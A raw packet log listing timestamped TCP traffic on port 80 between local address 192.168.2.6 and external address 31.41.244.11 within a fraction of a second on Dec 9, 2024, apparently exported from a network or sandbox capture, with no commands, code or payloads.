Dec 9, 2024 21:09:19.130243063 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.130260944 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.130321980 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.131095886 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.131153107 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.131189108 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.131236076 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.132082939 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.132095098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.132138014 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.132879972 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.132932901 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.132944107 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.132977962 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.133680105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.133727074 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.133887053 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.133932114 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.134514093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.134562016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.134660959 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.134702921 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.135476112 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.135523081 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.135531902 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.135577917 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.136292934 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.136337996 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.136349916 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.136387110 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.137222052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.137413025 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.137414932 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.137454033 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.138035059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.138078928 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.138102055 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.138144016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.138891935 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.138940096 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.139009953 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.139055014 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.139833927 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.139883041 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.139909983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.139955044 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.140677929 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.140723944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.140791893 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.140837908 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.141592979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.141638994 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.141655922 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.141700029 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.142386913 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.142436981 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.142501116 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.142549038 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.143213987 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.143279076 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.143309116 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.143354893 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.144236088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.144251108 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.144279003 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.144290924 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.144952059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.144963026 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.144998074 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.145010948 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.145837069 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.145885944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.145906925 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.145946026 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.146707058 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.146755934 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.146827936 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.146877050 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.147542000 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.147589922 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.147712946 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.147763014 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.148452044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.148503065 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.148564100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.148608923 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.149313927 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.149359941 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.149420023 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.149461031 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.150228024 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.150274992 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.150346041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.150393963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.151030064 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.151077986 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.151082039 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.151127100 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.151901960 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.151949883 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.152007103 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.152065039 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.152861118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.152937889 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.152964115 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.152986050 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.153697014 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.153740883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.153767109 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.153784037 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.154534101 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.154582024 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.154675007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.154721022 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.155431986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.155478954 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.155708075 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.155755997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.156260967 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.156308889 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.156387091 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.156431913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.157088041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.157135010 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.157155991 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.157197952 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.157949924 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.157994986 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.158077002 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.158124924 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.158993959 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.159044981 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.159080029 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.159125090 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.159693003 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.159742117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.159801006 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.159847021 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.160572052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.160583973 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.160617113 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.160633087 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.161458015 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.161501884 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.161623955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.161669970 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.162329912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.162344933 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.162384987 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.163310051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.163356066 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.163567066 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.163614988 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.164016962 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.164083004 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.164108038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.164150953 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.164992094 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.165034056 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.165040970 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.165072918 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.165781021 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.165838003 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.165939093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.165986061 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.166688919 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.166724920 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.166733980 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.166758060 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.167542934 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.167594910 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.167745113 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.167792082 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.168412924 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.168459892 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.168514967 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.168560028 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.169300079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.169346094 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.169362068 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.169409990 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.170126915 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.170171022 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.170211077 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.170258999 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.170988083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.171036959 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.171055079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.171101093 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.173315048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.173367977 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.173386097 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.173429012 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.173599958 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.173610926 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.173644066 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.173661947 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.319905043 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.319998980 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.320004940 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.320056915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.320168972 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.320179939 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.320213079 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.320235968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.320990086 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.321039915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.321124077 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.321171999 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.321852922 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.321901083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.321938038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.321985960 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.322506905 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.322535038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.322560072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.322577953 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.323352098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.323400021 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.323476076 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.323525906 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.324243069 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.324289083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.324362040 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.324409008 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.325124979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.325180054 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.325267076 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.325313091 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.326047897 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.326061964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.326097012 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.326864004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.326942921 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.326955080 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.326984882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.327675104 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.327722073 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.327748060 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.327794075 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.328582048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.328628063 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.328656912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.328723907 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.329432964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.329498053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.329566002 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.329611063 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.330274105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.330355883 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.330437899 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.330486059 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.331157923 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.331206083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.331212997 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.331262112 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.332093000 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.332143068 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.332253933 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.332302094 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.332922935 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.332972050 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.333000898 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.333045006 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.333777905 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.333823919 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.334026098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.334070921 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.334690094 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.334711075 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.334738016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.334748030 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.335495949 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.335541964 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.335834026 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.335901976 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.336379051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.336426973 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.336484909 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.336533070 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.337213039 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.337260962 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.337277889 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.337317944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.338129997 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.338162899 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.338180065 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.338203907 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.339045048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.339090109 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.339113951 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.339158058 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.339848042 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.339895010 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.339989901 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.340039968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.340719938 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.340766907 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.340862989 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.340907097 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.341604948 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.341651917 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.341718912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.341763973 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.342518091 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.342564106 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.342576027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.342622042 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.343338966 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.343386889 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.343417883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.343466043 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.344249964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.344301939 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.344319105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.344368935 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.356661081 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.356672049 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.356736898 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.357017040 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357033968 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357049942 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357059956 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357072115 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.357083082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357110023 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.357136011 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.357500076 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357511044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357531071 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357541084 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357554913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.357561111 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357572079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.357580900 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.357599020 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.357628107 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.358021021 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358031034 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358072996 CET	49874	80	192.168.2.6	31.41.244.11
